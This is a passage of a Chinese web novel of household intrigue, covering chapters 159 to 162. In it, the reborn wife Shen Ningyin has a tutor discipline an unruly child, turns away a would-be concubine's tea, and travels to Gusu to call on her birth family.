秦耀阳却是有些恼了：“你怎么能让她走？她一个女孩子，路上有多危险你不知道么？”
沈宁音没说话。心里却是冷了几分。
秦耀阳想数落她两句，可看着沈宁音的脸，到底是一甩袖子：“你久居内宅，不知外头险恶！快派人把她追回来！”
听着他的话，沈宁音抬起眉眼，却没有照做，开口道：“世子，妾身已经做了十足的准备，除了商队，还安排了镖师。”
沈宁音上前一步：“再着，出门在外原也要承受风险，难道就因为风险，便不让她回乡与亲人团聚？”
秦耀阳有些愣怔，他此刻根本没办法认真听沈宁音说的什么，脑子里反反复复都是梁玉霜从前哭红的眉眼。
“我不与你多说，总之，送玉霜回去还需从长计议。”秦耀阳的语气不容拒绝。
沈宁音看着他坚决的眉眼，心中忽然有种想笑的荒谬感，她索性戳穿他的言语：“世子是担忧梁姑娘的安全，还是舍不得她离开？”
“……”秦耀阳心下一震，他瞠大眼眸看向妻子，空气有一瞬的沉默：“我没有。”
“是没有，还是有而不自知？”沈宁音并未放过。
她的追问，莫名叫秦耀阳心里不舒服，他手指按在心口，只觉里头闷闷的。
“我……我去把她追回来！”秦耀阳几乎是落荒而逃。
他跑出去的时候，兰香正好过来，偏头看了眼离去的秦耀阳，兰香道：“二爷怎地走得这么急？”
沈宁音语气没什么波澜：“不管他。”沈宁音该做的也都做到了，仁至义尽。
兰香神色有些耷拉：“世子难得在饭点来少夫人这儿……安排了几样好菜的……”她顿了顿：“那午膳还传么？”
“传。”沈宁音斩钉截铁：“咱们自己吃。”
午后，阴下去的天也没亮堂起来。
沈宁音没专程打听，但秦耀阳回来的时候也是挺多人瞧见了。
他是一个人回来的，神色有些恍惚，沈宁音听闻他径直去了梁玉霜住过的跨院里头。
“也不知二爷怎么了，听说今儿都没上阁子去瞧几个哥儿上学。”
沈宁音一面绣着香囊，一面分心听着兰香闲磕牙。
秦耀阳先前找来的时候只有
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沈宁音在屋内，旁人并不知她追出上京城是要作甚。而沈宁音不单知道，甚至能料到他是追上梁玉霜了的。
商队拖车带箱的，走起来算不得快，再加上没走多久消息便给捅去秦耀阳处。
秦耀阳独自回来，只可能是梁玉霜拒绝回返。
人就是这样，得不着的，才会搁在心里头。梁玉霜这一回的拒绝，算是彻彻底底叫秦耀阳将她留在心里了。
也所幸她并非要玩欲拒还迎那一套，否则可不就正中了秦耀阳的心么？
沈宁音原以为一应事情就这么过去了，她只消安静地等着沈家嫁女便罢。她哪知，香囊将将收了个尾，松鹤堂那边就闹幺蛾子了。
小丫鬟找急忙慌三催四请的，沈宁音过去的时候，就看见红珠跪在地上满脸的红印子，秦齐手里拿着木头玩具坐在地上边闹边砸。
沈宁音记得因为跟孙靖元闹，秦齐这会儿应该在跪祠堂才对。
如今见他毫无悔过，又在此处闹腾，显然老夫人等人对他所谓的管教惩罚，也就是雷声大雨点小，做给孙靖元看的罢了。
沈宁音看了一眼精神恍惚不知在神游哪方天外的周婉，秦齐的亲娘都不管束，沈宁音一个连养母都不上算的，自然更不会上赶着去得罪秦齐了。
“你来得正好。”老夫人脸色分外难看，瞧见她便站起身冲她招手：“你快些领着齐哥儿去同他先生说一说。”
老夫人叫红珠去牵秦齐，红珠害怕，却也不敢不从。她刚要碰着秦齐的手，小孩儿就一巴掌狠狠抽在她手背上。
那手背瞬间就多了一块青紫。
红珠不敢喊疼，苍白着嘴唇也不说话。秦齐闹道：“我不去！我不学！”
沈宁音蹙了蹙眉，老夫人耐心告罄也有些恼：“怎的能不学？不念书哪里能知书达理？”周婉见老夫人生气，连忙上前牵着秦齐耐心劝：“齐哥儿听话，你看卞六郎君不也在好生念书么？”
南烛在旁人眼里就是没有根基、打秋风的破落户，但卞六郎不同，即便在周家看来，那也是大门阀。是以周婉拿卞六郎说事，可大人的世界同小孩儿终究是不同的。
秦齐哪管什么卞六郎，他只知自从先生来了以后就没了好日子，他就又哭又闹：“他们蠢死了！我不要跟他们一起玩！”
这么多人听着，尤其沈宁音也听着，周婉生怕秦齐的话给她告去孙靖元处，当下连忙找补：“弟妹，童言无忌，都是戏言，做不得数的。”
沈宁音笑着颔首：“我知晓。”
老夫人给闹得脑仁儿疼，打断道：“宁音，这都下午了，孙先生跟那两个哥儿正讲课。你快些带齐哥儿过去。”她脸色很是不悦：“齐哥儿都不在，他竟当真开始授课了，也不知请他来给谁上课的？”
沈宁音听了这些话，心里冷笑。
秦齐自己不学，孙靖元给另两人讲课指不定还要轻松得多。
秦家人皆以为孙靖元是专程来给秦齐授课的，他们却不知，沈宁音一开始请孙靖元出山，为的就是南烛罢了。
沈宁音弯了弯唇：“祖母，齐哥儿不是被罚了跪祠堂？这会儿过去，岂非叫人觉着所谓的惩罚，只是做做样子？”
老夫人听罢，脸色更黑了，她迁怒地看向沈宁音：“你搞清楚！你可是秦家妇！胳膊肘岂能往外？”
159. 管教
老夫人哪里看不出沈宁音对于秦齐读书的态度并不上心，周婉又在一旁暗暗抹泪，她便更烦了。
“孙先生是咱们侯府请来的先生，不紧着齐哥儿授课怎么像话？”
周婉抚着秦齐的头发也小声道：“妾身也瞧着，齐哥儿的学问没多少长进，反倒是听着那孙先生夸赞烛哥儿……”
她这是暗中阴阳孙靖元厚此薄彼。沈宁音目光凌厉地盯了她一眼，周婉移开目光不说话了。沈宁音沉声开口：“龙生九子尚且各个不同，更何况学生？再者，既然旁的哥儿能得孙先生青眼，齐哥儿怎么偏就不成？”
周婉和老夫人的脸色霎时都难看起来，却又无话可说。
片刻后，老夫人才拔高了音调，厉声训斥：“齐哥儿是咱们秦家的男丁，岂能与旁人并论？将来你若生不出儿郎，他就是你往后的倚仗！来日有我这把老骨头在，还能替你去求一求他，等我作了古，化了土，可有你后悔的！”
沈宁音心下冷笑，却垂眸只听着。老夫人以为她是服了软，就放缓了声气儿冷声吩咐：“你亲自领着哥儿去走一趟，莫叫孙先生弄错了主次，冷落了咱们齐哥儿。”
“还不快去你婶娘旁边儿？”秦齐这会儿靠在周婉手边，周婉低声哄劝，将他往沈宁音身边儿推。
沈宁音看过去时，周婉嘴角噙着几分得意，她以为沈宁音看不懂。却不知，沈宁音知道的远比她想象的多得多。
周婉阻不得男人纳妾，她没资格，这些时日她有多失意，无人能倾诉，眼下，终于在沈宁音这儿，周婉才找到点“赢”的快意。
沈宁音只作不知，转身便往外头去。芳姑牵着秦齐跟在她身后。
走在路上，秦齐抓着东西就往沈宁音裙子丢，嘴里念叨着：“坏女人！凶巴巴！”
沈宁音回头看了他一眼，秦齐有恃无恐地吐舌头做鬼脸。小孩子最会仗势欺人了，譬如现在，秦齐便觉着是他那祖奶奶占了上风，眼前的沈宁音也不过是祖奶奶的手下败将。
既然败了，那便是可以欺负的，他可不会乖乖听话。
芳姑看见他的小动作也是不会劝着的，秦齐平日里更过分的事儿也是做了的，上到老夫人、闵氏、周婉，下到婆子丫鬟，人人都要让着秦齐，更甚至当芳姑瞧见沈宁音被秦齐扔石子儿什物时，甚至有种幸灾乐祸的感觉。
芳姑也只在沈宁音停步转眸看来的时候才拉着了秦齐的手口头不痛不痒地训斥：“哎哟！齐哥儿，怎么能拿石头扔您婶娘呢？”
说完这话，芳姑冲沈宁音笑：“真是对不住，齐哥儿还是个孩子，二少夫人不会放心上吧？”
一句话就把沈宁音给架起来了。沈宁音看着芳姑，看了好一会儿，忽然清浅一笑：“不妨事。”
芳姑被她看得很不自在，心下警铃大作，原以为沈宁音是要发火的，没料想竟然连雷声都没有。
沈宁音很快转过身去，只是脚步快了几分。
芳姑松口气之余，心里还有几分轻蔑：嫁入高门了又如何？还不是给老夫人和大少夫人拿捏得死死的？
再跳脱的性子，也总有低头的时候。
沈宁音沉得住气，兰香却气炸了，要不是不好越过主子、她早动手抽秦齐耳光了。
不过兰香知晓主子的脾性，她从不是个忍气吞声的人，倘使当场没发作，那必是憋着气性准备翻倍报复！
一盏茶的时间过后，几个人到了藏锋斋，凉亭里头燃着提神的香，两个孩子正认认真真读书听课。
“先生。”沈宁音微笑着走上前。
孙靖元放下书册迎过来，他冲沈宁音略略颔首，目光落在了秦齐脸上。
孙靖元是名士，教过的弟子不多，却也不是什么不通世故之人，沈宁音会领着秦齐过来，他大抵也能猜着缘故——一多半是受命于人。
他若不应，定叫爱徒挨骂受委屈，若是应下，免不得往后就不好再罚人。
孙靖元略略蹙眉，心下叹息。有些话，他着实开不了这个口。
“孙先生，您可是咱们侯府请来的西席，若教不好府里的正经哥儿，那可是要败名声的。”芳姑仿佛嫌他心里不够乱似的。
孙靖元愣了一下，他没想到自己竟还有叫人如此辱没的一天。
“闭嘴！”沈宁音转过身，冷冷看向说话的芳姑：“谁教你这般同孙先生说话的？”
芳姑一下子傻住，张了张嘴看向沈宁音道：“没……没有谁教。”
“没有？”沈宁音提高了嗓音：“你就敢这么跟先生说话？”
芳姑察言观色，发现沈宁音是真动了怒要拿她作伐子，她连忙跪地讨饶：“是奴婢僭越了，奴婢自己口无遮拦！求二少夫人开恩！”
沈宁音冷笑：“芳姑你一个奶娘，还是个卖了死契的奴婢，你要敢说这种话就是咄咄怪事！既然你想扛着，本夫人也成全你的忠心。”
沈宁音果断吩咐兰香将人拖下去掌嘴。
平日里人在松鹤堂，沈宁音想敲打也是鞭长莫及，如今逮着机会，她可没打算放过。
“你敢！你放开芳姑！”秦齐抱着芳姑不肯撒手，满眼怨恨地看着沈宁音的脸。
沈宁音丝毫不见心软，就那么直直地迎着秦齐的目光。老夫人有一点是说对了的，秦齐往后是会记的，会不会记得松鹤堂的好，沈宁音不知，但秦齐一定会记着她的不好。
前世沈弦思在昌平侯府过得鸡飞狗跳，没少受秦齐的记仇陷害。沈宁音就知道一条，既然得罪了一次，那也无妨继续得罪着。与其讨好他，以期待那些并不多的良心，不如整治他，叫他看见就知道怕。
沈宁音命人攥着秦齐的胳膊，将他抓在手里，不管他的挣扎。
这时，周婉惊呼一声要赶过来。沈宁音一个眼神，跟在身边的丫鬟婆子就拦住了她。
周婉是不放心，想着跟过来看看情况，她没想到沈宁音竟然真敢背着松鹤堂收拾芳姑，甚至还叫人抓住了自己儿子！周婉挣扎着，几乎破了音：“沈宁音！你做什么！？齐哥儿还小！你难道想动私刑？”
沈宁音轻蔑地看了她一眼，就当着周婉
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的面，对着孙靖元道：“先生，正所谓严师出高徒，秦家乃是世袭的侯爵，定是明事理的，您定要好好管教。”她说完这句，吩咐春渠拿戒尺。
沈宁音拿着戒尺，抬手就往秦齐肉多的地方重重抽了下：“该打就得打！”
秦齐发出一声惨叫，年幼的眼睛里竟像淬了毒，他恨毒了沈宁音，又哭又叫：“你敢打我！你这个贱女人！我让祖奶奶打死你！”
沈宁音早过了给人骂两句就气得要命的时日，她眼都没眨一下，伸手将戒尺递到孙靖元手里。
“先生。您只管教训，我自会同公爹去提。”
沈宁音这话并没有压着声音，是说给周婉听的。打秦齐，人人都会护着，但昌平侯不会。无妨秦齐真是那假身份堂亲戚还是侯府的正经少爷。
沈宁音这等阳谋搬出来，周婉再如何护着，沈宁音也能名正言顺地罚秦齐。
“你敢！你敢！”秦齐又踢又踹。婆子丫鬟不敢动手，沈宁音可没顾忌。
有了她的支持，孙靖元也是硬气起来，他抬手就给了秦齐一戒尺。
沈宁音看在眼里，心下叹息，先生还是太温柔了。
小孩儿哪能念着你的手下留情？尤其秦齐这样的小孩儿，最没得良心。
秦齐一边哭一边骂，甚至开始口不择言威胁孙靖元：“我要叫祖奶奶撵了你！我不要你教！不给你饭吃！叫你丢了饭碗饿死你去！呜哇哇哇！”
孙靖元眉头皱紧，拿着戒尺又打了一下，秦齐叫得更凶了。
南烛跟卞六郎原是坐在一处看着热闹。等到秦齐叫嚣要撵了、辞了孙先生时，卞六郎满脸怒容地站了起来。
“孙先生教得极好，哪里会缺了饭碗？”卞六郎本就用功，这几日听课时听孙靖元引经据典，很容易便知先生的水准很高，他很是不忿，转身冲孙靖元拱手：“先生要真明珠蒙尘，还请先生莅临我卞家族学，兄长与父亲定愿扫榻相迎。”
沈宁音听卞六郎如此说，心下既觉得惊诧又觉着是在情理之中。惊诧的是，卞家果真不愧是门阀大族，卞六郎小小年纪便有这等见识与魄力，代父相请。而孙靖元的地位与实力，也委实值得卞家人这般追捧。
此刻同样知晓卞家地位的周婉，已经是脸色苍白，她原先并不太看重孙靖元。孙靖元在儒生中地位很高，她知晓，但她久居内宅，也不似沈宁音一般亲眼见证过似冷元景这般的学子，靠着关系被硬生生一路拔擢。
周婉只觉得孙靖元是个厉害些的文士罢了，没什么要紧。可这样的文士竟然连上京卞家都肯放下姿态。她顿时有几分眼热。
早知道，她就告诫儿子乖一点了，靠着这层关系跟卞家人攀上关系也是好的！
秦齐看没人肯帮自己，顿时气红了脸，他索性胡乱扭打挥舞。沈宁音的人都是要在侯府讨生活的，再凶悍，卖身契还在侍郎府攥着的，对侯府的小少爷也不敢下死力气，竟没按住。
卞家家教最是尊师重道，卞六郎冷着脸冲身后随从吩咐两句。那几个卞家扈从便上手去帮忙。
160. 不见
卞家奴仆可不像侯府的人那么投鼠忌器，更不惧谁的威胁，秦齐要咬，他们便反绑他的手，要踢，他们就打他屁股。
这些人都是练过的，怎么能叫人疼、还不伤筋动骨，他们门儿清，只教训得秦齐哭得上气不接下气，却拿他们毫无办法。
周婉都心疼死了，可沈宁音站着大义，她说也是说不过沈宁音的。一句教导孩子，她便没了资格和底气。
沈宁音是侯府当家夫人，明面儿上，比周婉这个“大婶娘”还更有资格管束秦齐，周婉又急又气，却作茧自缚拿她没办法。
周婉一径地掉泪，着实梨花带雨，但她这番作态也就是秦耀阳吃。现场可没人搭理。
张狂放肆如秦齐，一番折腾下来也像是被拔了牙的老虎，耷拉着没了脾气。
孙靖元到底心软，开口将人都喝止了，周婉连忙将秦齐扶着，紧张地查看。
秦齐没说话，抿着嘴唇很沉默。
旁人都觉着他是吃了教训，应当会听话了。唯独沈宁音并不放心，她偶然捕捉到了秦齐的视线。
那眸光暗戳戳的，瞧不分明，可沈宁音看清楚了他瞥的方向——赫然是一直没说半句话的南烛。
沈宁音眯了眯眼眸，她自然知晓能叫秦齐这混世玩意儿注意上必定没有好事，可谈南烛还没意识到自己叫人给记恨上了。
思来想去，沈宁音寻了个空档叫兰香去给南烛提个醒。再就是回去麻利地开始收拣起祁秀院的行李来。
兰香办完差使回来，就瞧见两三个箱笼搁在房间里头，沈宁音正搭着手一道收拾着。
兰香满脸的纳罕：“少夫人，这是作甚？”
沈宁音也不瞒着，拍了拍箱笼盖：“准备避出去。”
“啊？”
也不怪丫头们不解，这刚从娘家回来，马上就又要一副出门的架势，而且就算是上一回回侍郎府，也没搞得这般动静。
大抵是知道小丫头在想什么，沈宁音道：“不是回侍郎府。”
她将将说完话，外头就传来小丫鬟惊呼的声音：“二爷……”
沈宁音抬起脸，恰看清秦耀阳的脸。
男人原是皱紧了眉头，仿佛憋着一股子气的，可甫一瞧见屋内的情况，他皱着的眉头霎时就松开来，转而露出了错愕的神色。
他紧走两步按住了手边的箱子：“宁音，你这是做甚？生气了？”
秦耀阳看着妻子的脸，一时也没瞧出她的情绪来，但秦耀阳原也不在意她的小脾气，紧抿了下唇方道：“你这是置什么气？”
没等沈宁音说出什么话来，他便急切道：“齐哥儿还是个孩子，你罚也罚了，怎能与他计较？”
沈宁音一听这话，便知秦耀阳一多半是听了周婉的耳旁风。无妨前世还是今生，秦耀阳都不那么关注秦齐。
无他，再不成器的爹爹，都会按着别人家的孩儿标准去严于律子，而且往往自己越不成器的，越要盼着孩子坏田里头长出好苗来。
可秦齐长歪了，不是一天两天的歪。秦耀阳只会从失望转变到漠然。
他如今能在沈宁音跟前提起这茬，绝不会是出自他自己的觉悟。只可能来自周婉。
沈宁音也不接茬，垂眸柔声道：“妾身对齐哥儿并无不满，再者，要不要严格，怎么严格，那都是公爹与孙先生做主的。”
她搬出昌平侯来，无妨周婉给秦耀阳吹个什么风，都能有一力降十会的效果。
秦耀阳敢来质问沈宁音，却绝不敢找昌平侯去理论。
果然，一听着自家老爹，秦耀阳立马偃旗息鼓，他摸了摸鼻子，尴尬道：“那便好……那便好……”
秦耀阳顿了顿，瞧着地上收拾好的箱笼，心下到底不是滋味，又抬眸打量沈宁音的神色：“不是因着齐哥儿，莫不是因着陈五姑娘？”
也亏得他思虑这般跳脱，沈宁音也懒得解释。她准备避出去其实有好几个目的。
陈五姑娘入府之事，陈家虽有不甘，但也乐见其成。府里老夫人和昌平侯也是愿意的。
沈宁音拦不住，也一早就没打算拦着。
秦耀阳脸上露出个羞愧的神色来：“宁音，我当初也不是故意的。而且这些时日我原本也不想答应的，可是……”
沈宁音便知他定是应承下了，秦耀阳过来这儿，说不定还以为消息走漏到她这儿知道了。
沈宁音脸上并无半分异样的神色，只是安静地看着他。秦耀阳臊得脸红脖子粗。当初口口声声拒绝，还难受于沈宁音不吃醋，如今脸打得啪啪响。
秦耀阳咬牙：“我也是没法子，陈家跑来说项，青霜又寻死觅活要上吊。我没法子……她毕竟是因我才名声有瑕。”
沈宁音不是周婉，她嫁过来这些天，所谓的指望和期待早就消磨了个干净，她是最不在意夫君是否清白的，他左右也没有这等东西了。
沈宁音刚要表态，就见陈青霜从外头跑进来，当面儿就跪下了，还重重磕了个头。
陈青霜抬起脸的时候，额头红了一大块，她泪涟涟地哀求：“姐姐，您莫要与世子生了嫌隙，妾身是来加入这个家的，不是来惹了姐姐与世子离心的。”
陈青霜哭诉着，眼神有几分心虚：“妹妹也不想攀附着世子，这婚事都是爹娘做的主。”她拿帕子捂着眼睛，哭得仿佛要昏厥过去。
沈宁音前世看多了这等伎俩，委实演不出什么姐妹情深，她连笑都笑不出来。
可她能看出，秦耀阳却是不能，陈青霜一哭，他瞧着那双泪眼便觉着心疼，连忙伸手去扶：“快起来吧，宁音是个大度持重的，定不会为难你。”
面对夫君给的定义，沈宁音也没反驳。但显然陈青霜也不在意沈宁音是个什么态度，她只要让秦耀阳能心疼自己就好了。
秦耀阳一扶，她便像是块膏药，一沾就起来。陈青霜抹着泪，抽抽搭搭开口：“那……青霜给姐姐敬一杯茶认错，只求姐姐能原谅青霜……”
“好，好！”秦耀阳随口就冲兰香吩咐去端茶来。
兰香没动，看向了沈宁音，沈宁音不说话，秦耀阳却是拔高了声音朝一旁的染竹道：“快去！”
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染竹见沈宁音没拦着，这才连忙上耳房去端了一杯热茶。
陈青霜端着茶水，朝沈宁音走了几步，跪了下去：“姐姐，是青霜错了，还请用茶。”
秦耀阳看着沈宁音，但他要脸，并未开这个口，只是眼神里的期盼却是希望她能喝了这茶的。
沈宁音并没有去接，而是笑了笑：“夫君多虑了，妾身都听夫君和长辈们的。至于妹妹这句认错……我并未觉得青霜妹妹有甚错处，所以，这茶也不必喝了。”
秦耀阳反复确认过沈宁音的表情，在觉着她不是说反话后大大松了口气。
陈青霜却急了。这杯茶可不真是为着什么道歉。而是要趁机在沈宁音这儿过明路！
她本就不是用着体面的办法才攀上了秦耀阳，她能想到的能提高地位、并且还能在出嫁前拔高自个儿地位的办法，便是在进门之前先得了主母的一句点头。
无妨是因着何等缘故敬的茶，只要主母喝了茶，那怎么说、怎么传，可操作的空间就多了。
陈青霜跪在地上没动，端着茶的手并未放下，她不死心地道：“青霜是诚心想与姐姐和好如初，求姐姐莫要推辞。”
她打出感情牌来，秦耀阳也不好再劝说，只看向沈宁音：“你就喝了吧？你要真没放心里，这收拾东西难道不是又要回娘家？”
沈宁音没去看陈青霜，柔声道：“妾身不是回娘家，是要去外地一趟。”
她到最后也没喝茶，只简单解释了下要去瞧一瞧沈弦思长大前，照顾妹妹的远亲。
沈宁音不耐烦跟陈青霜虚与委蛇，托付秦耀阳先送陈青霜回偏院。
沈宁音没耽搁多久，为免夜长梦多，清早她便上松鹤堂找老夫人辞行，说是要去探望姑苏那边的表亲。
而今她非但不想掺和沈弦思嫁人闹出的幺蛾子，也不想亲手给丈夫纳小妾。
不在意归不在意，但动手去做，也委实膈应。
老夫人听罢，神色有些挂不住地暗沉，她盯着沈宁音看了好一会儿。沈宁音低眉顺目，只看向地上的脚尖，丝毫不外泄半分情绪。
半晌，老夫人沉声开口：“陈家那边儿一早就来知会过，要上门儿看看你，她家你也熟稔，哪有什么过不去的？”
“陈四郎君，专程带着礼物过来替妹妹赔礼道歉，是给足你体面的。你不如等几个时辰，先见上一见？”
陈家这事儿，沈宁音是明白的，明着是送礼讨好，实则是为了让她接纳陈青霜这个妾，甚至想给人抬一抬身份。
可但凡是个体面人家的主母，成婚不足半年就被迫给夫君纳妾，那都跟吞下苍蝇没两样的。陈家自然也知道。
沈宁音点头并不难，难的是一旦点头，老夫人想要给陈青霜抬举，那就不好拒绝了。
涉及妾身利益，沈宁音是万不会松口的，她笑了笑，声音温柔：“姑苏路远，走得迟了会错过馆驿。陈四郎君是外男，就由世子见也一样的。”
沈宁音说得滴水不漏，态度却鲜明，那就是不见。
老夫人脸色不好看。
161. 娘家
老夫人沉着脸只拨弄菩提珠子，半晌，终究幽幽开口：“罢了，你且先忙吧。”
沈宁音连句客气的话也没有，告辞后转身就要走。老夫人脸黑得活似要沁出墨来，在她身后道：“可早些回来。”
“是。”沈宁音答应着，退了出去。
“哼！”人走远，老夫人将手中佛珠拍在了木桌子上，惊得屋内仆婢们心肝儿颤颤。
老夫人整张脸染着怒：“说是去看什么八竿子打不着的亲戚！她那姊妹成婚，娘家三催四清的，也没见她去瞧一眼！还借口去看那什么照顾了她姊妹的亲戚？都是借口罢了。”
方嬷嬷垂着眼不敢搭腔，半晌才迟疑道：“要不要把二少夫人喊回来？”
老夫人冷冷瞥了一眼门帘，轻蔑一笑：“她要是起了心思要避走，谁又拦得住？员外郎家的女儿做妾，她这做正妻的有什么好委屈的？”
“她们沈家就是个花架子！她这么拿乔怎么不上天去！”老夫人气得拍桌子：“还敢把自个儿男人往外推，昭儿不碰她看她怎么生孩子！”
“等过个几年陈氏揣上孩儿了，迟早提做平妻，到时候有她哭着求的！”
沈宁音坐上马车，耳边听着兰香传来的话，脸上的表情甚至染了一丝讥诮。
松鹤堂里头老夫人发火声气儿不小，也根本没想捂，沈宁音有心打听之下，几乎是一字不落。
只可惜，沈宁音清楚，周婉和秦耀阳的孩子是个争气的就罢了，可秦齐照比着秦家大郎差远了，甚至比不得他亲爹秦耀阳……
至于陈青霜，沈宁音就更不在意了。
这女人若有那本事同秦耀阳圆房，甚至怀上子嗣，沈宁音只会坐视她与周婉去争，人各有志，她要的，从来都不是这等床帏内的输赢。
那些人争得越厉害，她地位就越稳。
快要出城时，春渠赶了过来，小丫鬟额头铺陈了薄薄一层热汗，掀开车帘便小声禀告：“少夫人叫奴婢去打听的事儿，没成。”
沈宁音听罢眉头蹙紧。
她一出府邸就命春渠去皇城司衙门寻赵义打听薛岚的行踪。只因前世的时候，沈宁音就知薛岚是死在了姑苏城外。
但前世有关此事十分隐秘，毕竟那时沈宁音跟随丈夫在外做地方官，离上京城天远地远，而等她随夫进京时候，莫说薛岚坟头草都高了，就连薛岩都因发疯被圣人将尸首刮了三千刀。
沈宁音只知晓大致的地点，连时间都不甚明了。再加上如今很多事情都已改变，她委实也只能把每一回的巧合都当做正史应对。
春渠见主子似乎在思索，羞愧不已，咬了咬牙，眼里闪出凶光来：“少夫人，要不奴婢把那番子捆来，几十针下去，奴婢就不信他不招！”
莫说沈宁音了，春渠跟染竹都大惊失色。
沈宁音瞥了她一眼，差点气乐了：“到底谁才是皇城司的番子？”她摸了摸小丫头的脑袋：“你且歇着吧，我原也就是试试看，赵义不肯说也在意料之中。”
皇城司的行踪，尤其薛岚这等身份的，也不是谁都能打听的。赵义没给春渠扣下也是沈宁音仗着手里令牌的底气。
“少夫人，那现在怎么办？”春渠挠了挠下巴。
“走一步看一步吧，先去姑苏。”沈宁音如今也不确定薛岚会不会遇着危险，他如今动身已过了六日。
算算时间，就算赶到，也得三天。正正九日，要出事，也早出事了，兴许只能赶上个替他收尸……
上阮家也是此番沈宁音的目的。
深秋时节，水路顺着风。但姑苏路远，再怎么一帆风顺，也过了正正三天。
下船的时候，兰香和沈宁音还算好，染竹与春渠晕得厉害，吐得手软脚软的。带的十几个护卫也是大半东倒西歪。
不得已，沈宁音只得自己领着兰香先去雇车。
“十两银？！你怎的不去抢？！”兰香听着那车夫的报价瞪圆了眼。
车夫往旁边儿唾了一口，冷笑：“爱租不租！”
“咱不租！”兰香拉着沈宁音道：“十两银子都能买上一匹驽马了。”
那车夫态度恶劣是一回事，但最要紧的是要价太黑。
马匹不便宜，尤其十几年前圣人被俘后，北夷强盛，垄断了北境草原上的马群。中原一马难求，后来又连年征战，好马更是水涨船高、千金难求。
不过驽马却是不贵的。十两银子的确能买到。
沈宁音看了眼马厩：“十两就十两。”她亲自从兰香处掏了银子来。
兰香不高兴，不甘地瞪了那车夫一眼，车夫笑呵呵地，一下子便殷勤起来：“客官，请好勒！我这车子很稳，包您满意。”
沈宁音略略颔首，没多言语，坐车接上了两个手软脚软的丫头。
兰香听外头车夫哼着荒腔走板的江南小调，气得咬牙：“少夫人，您就是心善，叫这等小人赚了钱去！您瞧他得志的模样……”
沈宁音声音清浅，娓娓道：“这钱，的确贵，但十两银买的不是这几日的代步。”
兰香觉得真稀奇：“那，是什么？”
沈宁音没解释，等到了地方，几个丫头扶了沈宁音下车，阮家门庭在前，因着商贾世代，那匾额上镶着金玉，好不气派。
兰香正要上去叩门，沈宁音伸手拦了，兰香便瞧见那车夫主动上前去，将那门环砸得梆梆响：“江六家的，快开门！你家来客了。”
那声音震天响，周遭都有瞧热闹的探头来看。
不过几息，门房就开了门。沈宁音便弯了弯嘴角。
前世的时候，沈宁音嫁到冷家头一遭回门，在外头愣是敲了小半个时辰，她又是独自回家，直委屈哭了才有人慢悠悠过来开了门。
阮家做惯了商贾，门房最是势利眼，求上门的都分个三六九等。沈宁音是阮家亲女，如今也没正式认亲，她带的人多，的确可以强行命人这么去叫门。
但人家未必肯应，旁人瞧见还说不定要传些个不孝的恶名来。车夫却是不同的。人家是本地人，显然认得门房，为着讨赏，也会卖力气，即便得罪了人，也与沈宁
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音不相干。
“催命啊？”那江六媳妇瞪圆了眼睛，面像本就凶，这会儿更添些狰狞。
那车夫却是个脸皮厚的：“我这拉着的客官是你家的贵客，还不赶紧的迎一迎，哥哥我也好讨口茶吃。”
江六媳妇皱眉扫过府外的一众人，脸色相当难看，直到她看清众星拱月在正当中的沈宁音的那张脸。她瞠大了眸子，又用劲儿揉了揉：“哎呀！”
“您、您是……”江六媳妇张着嘴半晌说不出整话儿来。
沈宁音大抵知道她这是为何，沈宁音长得跟阮家夫人有五分相似，另五分，统统长在了浓艳处，愈发颜色绝俗。
“还请进去通禀。”沈宁音微笑着，语调温婉客气。
今生不同前世，她再不是那恶名缠身，被沈家抛弃又开罪冷家的弃子。沈宁音如今依旧是上京城高高在上的沈府嫡女、昌平侯世子夫人。沈宁音有足够的底气。
喜欢，并不能给人带来体面，但让人畏惧，却能使人不敢得罪。
沈宁音领着人迈步入阮府，门房甚至都不敢拦着。江六媳妇连忙叫小丫鬟进去通禀，她则恭恭敬敬把人引去客厅明间。
不多会儿，门口就恢复了冷清。
车夫站在门槛内挠着脑袋。他甫一瞧见走回来的门房就赶紧凑了过去。
也不等车夫说话，江六媳妇就塞给他一把铜钱。
“喝！”车夫笑眯眯地将铜钱抄进怀里，凑过去打江六媳妇瓷碗里头抓了一把瓜子。惹得那胖女娘狠狠瞪了他一眼。
车夫也不拿自个儿当外人，把胳膊肘拐了下她：“江六家的，那婆娘是谁呀？这么大排场？”
车夫打从狮子大开口，人连价钱都不还时便猜测那女的是个不食人间疾苦的肥羊。如今，阮家这等连官老爷都要礼让三分的人家，竟然放任她如此嚣张都不管。着实叫他心下好奇。
“那可不是你能得罪的。”江六媳妇看了四周一眼道：“那是上京城来的贵人娘子。听说夫家是世袭罔替的爵爷。”
车夫手里的瓜子差点儿没捏稳，掰着指头抽了口凉气：“这爵爷同县太爷比，谁大？”
“……”江六媳妇嗤笑：“十个县太爷也抵不过人家一根汗毛去！”
车夫不淡定了。
阮家豪奢，又是地方大族，房舍极大，客厅尤甚。
院子外一颗桃树，繁叶如盖。
沈宁音隔世再次踏足，再不必谨小慎微。从前只能规规矩矩跪着听规矩的她，如今她坐着，阮家人也只敢斜签着身子。
“父亲母亲。”她盈盈福身，也没打算跪，刚弯膝，阮父亲就将她扶了起来，阮母笑得浅，声音慈和：“宁音啊，你回来怎的也没叫人说一声？”
要不是沈宁音前世见识过这对父母的凉薄冷脸，这会儿怕是就要天真地以为，他们其实很喜欢自己。
可惜，喜欢不喜欢的，最是藏不住。恰恰好，沈宁音前世见识过阮父阮母对沈弦思的疼爱。
那些真情流露，同现在一对比，区别再明显不过。
162. 孽女
屋里气氛颇有些压抑，沈宁音喝茶也不说话，前世每次见面，都得沈宁音来打开话匣子，人家也是爱答不理的。这次她可不会热脸贴别个的冷屁股。
阮老爷事忙，也没甚闺阁后宅的谈资，阮太太原还端着，可过了一会儿她便坐不住了。
“你那几个兄弟姊妹，大的两个管着铺子，三姐嫁了人。小的兄弟在学塾里……”
听了阮母干巴巴的话，沈宁音放下茶盏，笑着点头。说她没规矩也不至于，可态度模棱两可的，并不亲近。
阮太太心里很不爽利，她平日里管着府邸事务，外头来往也多是捧着的，这会儿遭了冷遇，却说不得，更拒不得。
她的情绪一时就有些上脸。
阮老爷咳了一声提醒，阮太太这才移开了目光，笑着继续道：“秀仪在家的，你们年岁相仿，应该能聊得高兴，不如叫你秀仪妹妹领你去熟悉下环境？”
沈宁音略略抬眸，心下倒是想起了这么一号人来。
阮秀仪，在阮家算是个特别的存在。阮家豪富，阮老爷自然也有那江南商贾的臭毛病，年轻时很养过几个瘦马。
这些女子身世凄惨，自小遭受非人折磨，每日只吃得半碗稀粥。虽然身段袅娜，六艺卓绝，但寿数短、身子弱。按说是要绝了子嗣的。
